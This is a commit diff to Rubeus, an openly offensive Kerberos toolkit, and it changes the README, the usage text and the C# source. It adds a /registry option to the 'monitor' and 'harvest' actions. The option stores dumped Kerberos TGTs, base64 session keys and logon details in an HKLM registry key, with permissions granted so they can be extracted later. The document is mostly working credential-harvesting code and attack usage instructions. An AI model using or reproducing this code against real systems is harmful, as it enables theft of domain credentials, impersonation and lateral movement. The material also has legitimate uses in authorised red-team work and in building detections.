commit
32afd4a2b7
12
README.md
12
README.md
|
@ -63,11 +63,11 @@ Rubeus is licensed under the BSD 3-Clause license.
|
|||
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
|
||||
Rubeus.exe tgtdeleg [/target:SPN]
|
||||
|
||||
Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions:
|
||||
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
|
||||
Monitor every SECONDS (default 60 seconds) for 4624 logon events, dump any TGT data for new logon sessions, and save data to specified registry path (Default: Disabled):
|
||||
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:PATH\UNDER\HKLM]
|
||||
|
||||
Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
|
||||
Rubeus.exe harvest [/interval:MINUTES]
|
||||
Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire, and save TGTs to a specified registry path (Default: Disabled):
|
||||
Rubeus.exe harvest [/interval:MINUTES] [/registry:PATH\UNDER\HKLM]
|
||||
|
||||
|
||||
NOTE: Base64 ticket blobs can be decoded with :
|
||||
|
@ -760,6 +760,8 @@ The **monitor** action will monitor the event log for 4624 logon events and will
|
|||
|
||||
When the /filteruser (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.
|
||||
|
||||
Further, if you wish to save the output to the registry, pass the /registry flag and specfiy a path under HKLM to create (i.e., `/registry:SOFTWARE\MONITOR`). Then you can remove this entry after you've finished running Rubeus by `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force`.
|
||||
|
||||
c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a
|
||||
|
||||
______ _
|
||||
|
@ -822,6 +824,8 @@ The **harvest** action takes monitor one step further. It monitors the event log
|
|||
|
||||
This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.
|
||||
|
||||
Further, you can pass the /registry flag to save the tickets into the registry for later extraction, such as `/registry:SOFTWARE\HARVEST`. You can remove the registry save data by `Get-Item HKLM:\SOFTWARE\HARVEST\ | Remove-Item -Recurse -Force`.
|
||||
|
||||
c:\Rubeus>Rubeus.exe harvest /interval:30
|
||||
|
||||
______ _
|
||||
|
|
|
@ -10,12 +10,17 @@ namespace Rubeus.Commands
|
|||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
int intervalMinutes = 60;
|
||||
string registryBasePath = null;
|
||||
if (arguments.ContainsKey("/interval"))
|
||||
{
|
||||
intervalMinutes = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
if (arguments.ContainsKey("/registry"))
|
||||
{
|
||||
registryBasePath = arguments["/registry"];
|
||||
}
|
||||
|
||||
Harvest.HarvestTGTs(intervalMinutes);
|
||||
Harvest.HarvestTGTs(intervalMinutes, registryBasePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -11,6 +11,7 @@ namespace Rubeus.Commands
|
|||
{
|
||||
string targetUser = "";
|
||||
int interval = 60;
|
||||
string registryBasePath = null;
|
||||
if (arguments.ContainsKey("/filteruser"))
|
||||
{
|
||||
targetUser = arguments["/filteruser"];
|
||||
|
@ -19,7 +20,11 @@ namespace Rubeus.Commands
|
|||
{
|
||||
interval = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
Harvest.Monitor4624(interval, targetUser);
|
||||
if (arguments.ContainsKey("/registry"))
|
||||
{
|
||||
registryBasePath = arguments["/registry"];
|
||||
}
|
||||
Harvest.Monitor4624(interval, targetUser, registryBasePath);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -66,10 +66,10 @@ namespace Rubeus.Domain
|
|||
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
|
||||
|
||||
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
|
||||
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
|
||||
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:SOFTWARENAME]");
|
||||
|
||||
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
|
||||
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
|
||||
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES] [/registry:SOFTWARENAME]");
|
||||
|
||||
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
|
||||
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
|
||||
|
|
|
@ -9,7 +9,7 @@ namespace Rubeus
|
|||
{
|
||||
public class Harvest
|
||||
{
|
||||
public static void HarvestTGTs(int intervalMinutes)
|
||||
public static void HarvestTGTs(int intervalMinutes, string registryBasePath)
|
||||
{
|
||||
// First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
|
||||
// every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
|
||||
|
@ -133,12 +133,15 @@ namespace Rubeus
|
|||
|
||||
Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
|
||||
LSA.DisplayTGTs(creds);
|
||||
|
||||
if (registryBasePath != null)
|
||||
{
|
||||
LSA.SaveTicketsToRegistry(creds, registryBasePath);
|
||||
}
|
||||
System.Threading.Thread.Sleep(intervalMinutes * 60 * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Monitor4624(int intervalSeconds, string targetUser)
|
||||
public static void Monitor4624(int intervalSeconds, string targetUser, string registryBasePath = null)
|
||||
{
|
||||
// monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
|
||||
// logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.
|
||||
|
@ -224,7 +227,7 @@ namespace Rubeus
|
|||
{
|
||||
seenLUIDs[luid] = true;
|
||||
// if we haven't seen it, extract any TGTs for that particular logon ID
|
||||
LSA.ListKerberosTicketData(luid, "krbtgt", true);
|
||||
LSA.ListKerberosTicketData(luid, "krbtgt", true, registryBasePath);
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
|
|
|
@ -4,6 +4,10 @@ using System.Collections.Generic;
|
|||
using System.ComponentModel;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Security;
|
||||
using System.Reflection;
|
||||
using System.Security.AccessControl;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Rubeus
|
||||
{
|
||||
|
@ -304,20 +308,24 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false)
|
||||
public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false, string registryBasePath = null)
|
||||
{
|
||||
// lists
|
||||
if (Helpers.IsHighIntegrity())
|
||||
{
|
||||
ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor);
|
||||
ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor, false, registryBasePath);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (registryBasePath != null)
|
||||
{
|
||||
Console.WriteLine("[X] Registry option was passed but will not be used, as we require elevated rights to write to HKLM.");
|
||||
}
|
||||
ListKerberosTicketDataCurrentUser(targetService);
|
||||
}
|
||||
}
|
||||
|
||||
public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false)
|
||||
public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false, string registryBasePath = null)
|
||||
{
|
||||
// extracts Kerberos ticket data for all users on the system (assuming elevation)
|
||||
|
||||
|
@ -331,10 +339,46 @@ namespace Rubeus
|
|||
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
|
||||
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
|
||||
|
||||
Microsoft.Win32.RegistryKey baseKey = null;
|
||||
Microsoft.Win32.RegistryKey userData = null;
|
||||
string user = null;
|
||||
if (!monitor)
|
||||
{
|
||||
Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (All Users)\r\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (Environment.UserName == "SYSTEM")
|
||||
{
|
||||
user = "NT AUTHORITY\\SYSTEM";
|
||||
}
|
||||
else
|
||||
{
|
||||
user = Environment.UserDomainName + "\\" + Environment.UserName;
|
||||
};
|
||||
if (registryBasePath != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
Registry.LocalMachine.CreateSubKey(registryBasePath);
|
||||
baseKey = Registry.LocalMachine.OpenSubKey(registryBasePath, RegistryKeyPermissionCheck.ReadWriteSubTree);
|
||||
RegistrySecurity rs = baseKey.GetAccessControl();
|
||||
RegistryAccessRule rar = new RegistryAccessRule(
|
||||
user,
|
||||
RegistryRights.FullControl,
|
||||
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
|
||||
PropagationFlags.None,
|
||||
AccessControlType.Allow);
|
||||
rs.AddAccessRule(rar);
|
||||
baseKey.SetAccessControl(rs);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[-] Error setting correct ACLs for HKLM:\\{0}", registryBasePath);
|
||||
baseKey = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (targetLuid != 0)
|
||||
{
|
||||
|
@ -448,6 +492,21 @@ namespace Rubeus
|
|||
|
||||
if (count2 != 0)
|
||||
{
|
||||
if (baseKey != null)
|
||||
{
|
||||
baseKey.CreateSubKey(username + "@" + domain);
|
||||
userData = baseKey.OpenSubKey(username + "@" + domain, RegistryKeyPermissionCheck.ReadWriteSubTree);
|
||||
userData.SetValue("Username", username);
|
||||
userData.SetValue("Domain", domain);
|
||||
userData.SetValue("LoginId", data.LoginID.LowPart.ToString());
|
||||
userData.SetValue("UserSID", sid.Value.ToString());
|
||||
userData.SetValue("AuthenticationPackage", authpackage.ToString());
|
||||
userData.SetValue("LogonType", logonType.ToString());
|
||||
userData.SetValue("LogonTime", logonTime.ToString());
|
||||
userData.SetValue("LogonServer", logonServer.ToString());
|
||||
userData.SetValue("LogonServerDNSDomain", dnsDomainName.ToString());
|
||||
userData.SetValue("UserPrincipalName", upn.ToString());
|
||||
}
|
||||
Console.WriteLine("\r\n UserName : {0}", username);
|
||||
Console.WriteLine(" Domain : {0}", domain);
|
||||
Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart);
|
||||
|
@ -613,6 +672,25 @@ namespace Rubeus
|
|||
byte[] encodedTicket = new byte[encodedTicketSize];
|
||||
Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
|
||||
string base64TGT = Convert.ToBase64String(encodedTicket);
|
||||
if (userData != null)
|
||||
{
|
||||
userData.SetValue("ServiceName", serviceName);
|
||||
userData.SetValue("TargetName", targetName);
|
||||
userData.SetValue("ClientName", clientName);
|
||||
userData.SetValue("DomainName", domainName);
|
||||
userData.SetValue("TargetDomainName", targetDomainName);
|
||||
userData.SetValue("AltTargetDomainName", altTargetDomainName);
|
||||
userData.SetValue("SessionKeyType", sessionKeyType);
|
||||
userData.SetValue("Base64SessionKey", base64SessionKey);
|
||||
userData.SetValue("KeyExpirationTime", keyExpirationTime);
|
||||
userData.SetValue("TicketFlags", ticketFlags);
|
||||
userData.SetValue("StartTime", startTime);
|
||||
userData.SetValue("EndTime", endTime);
|
||||
userData.SetValue("RenewUntil", renewUntil);
|
||||
userData.SetValue("TimeSkew", timeSkew);
|
||||
userData.SetValue("EncodedTicketSize", encodedTicketSize);
|
||||
userData.SetValue("Base64EncodedTicket", base64TGT);
|
||||
}
|
||||
|
||||
Console.WriteLine(" ServiceName : {0}", serviceName);
|
||||
Console.WriteLine(" TargetName : {0}", targetName);
|
||||
|
@ -630,6 +708,7 @@ namespace Rubeus
|
|||
Console.WriteLine(" TimeSkew : {0}", timeSkew);
|
||||
Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize);
|
||||
Console.WriteLine(" Base64EncodedTicket :\r\n");
|
||||
|
||||
// display the TGT, columns of 100 chararacters
|
||||
foreach (string line in Helpers.Split(base64TGT, 100))
|
||||
{
|
||||
|
@ -1210,6 +1289,63 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
public static void SaveTicketsToRegistry(List<KRB_CRED> creds, string baseRegistryKey)
|
||||
{
|
||||
string user = null;
|
||||
RegistryKey basePath = null;
|
||||
if (Environment.UserName == "SYSTEM")
|
||||
{
|
||||
user = "NT AUTHORITY\\SYSTEM";
|
||||
}
|
||||
else
|
||||
{
|
||||
user = Environment.UserDomainName + "\\" + Environment.UserName;
|
||||
};
|
||||
try
|
||||
{
|
||||
Registry.LocalMachine.CreateSubKey(baseRegistryKey);
|
||||
basePath = Registry.LocalMachine.OpenSubKey(baseRegistryKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
|
||||
RegistrySecurity rs = basePath.GetAccessControl();
|
||||
RegistryAccessRule rar = new RegistryAccessRule(
|
||||
user,
|
||||
RegistryRights.FullControl,
|
||||
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
|
||||
PropagationFlags.None,
|
||||
AccessControlType.Allow);
|
||||
rs.AddAccessRule(rar);
|
||||
basePath.SetAccessControl(rs);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[-] Error setting correct ACLs for HKLM:\\{0}", baseRegistryKey);
|
||||
basePath = null;
|
||||
}
|
||||
if (basePath != null)
|
||||
{
|
||||
foreach (KRB_CRED cred in creds)
|
||||
{
|
||||
string userName = cred.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domainName = cred.enc_part.ticket_info[0].prealm;
|
||||
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].starttime);
|
||||
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].endtime);
|
||||
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].renew_till);
|
||||
Interop.TicketFlags flags = cred.enc_part.ticket_info[0].flags;
|
||||
string base64TGT = Convert.ToBase64String(cred.Encode().Encode());
|
||||
|
||||
Microsoft.Win32.RegistryKey userData = basePath.CreateSubKey(userName + "@" + domainName);
|
||||
|
||||
// Create the keys underneath this
|
||||
userData.SetValue("Username", domainName + "\\" + userName);
|
||||
userData.SetValue("StartTime", startTime);
|
||||
userData.SetValue("EndTime", endTime);
|
||||
userData.SetValue("RenewTill", renewTill);
|
||||
userData.SetValue("Flags", flags);
|
||||
userData.SetValue("Base64EncodedTicket", base64TGT);
|
||||
}
|
||||
Console.WriteLine("\r\n[*] Wrote {0} tickets to HKLM:\\{1}.", creds.Count, baseRegistryKey);
|
||||
}
|
||||
}
|
||||
|
||||
public static void DisplayTicket(KRB_CRED cred)
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");
|
||||
|
|
Loading…
Reference in New Issue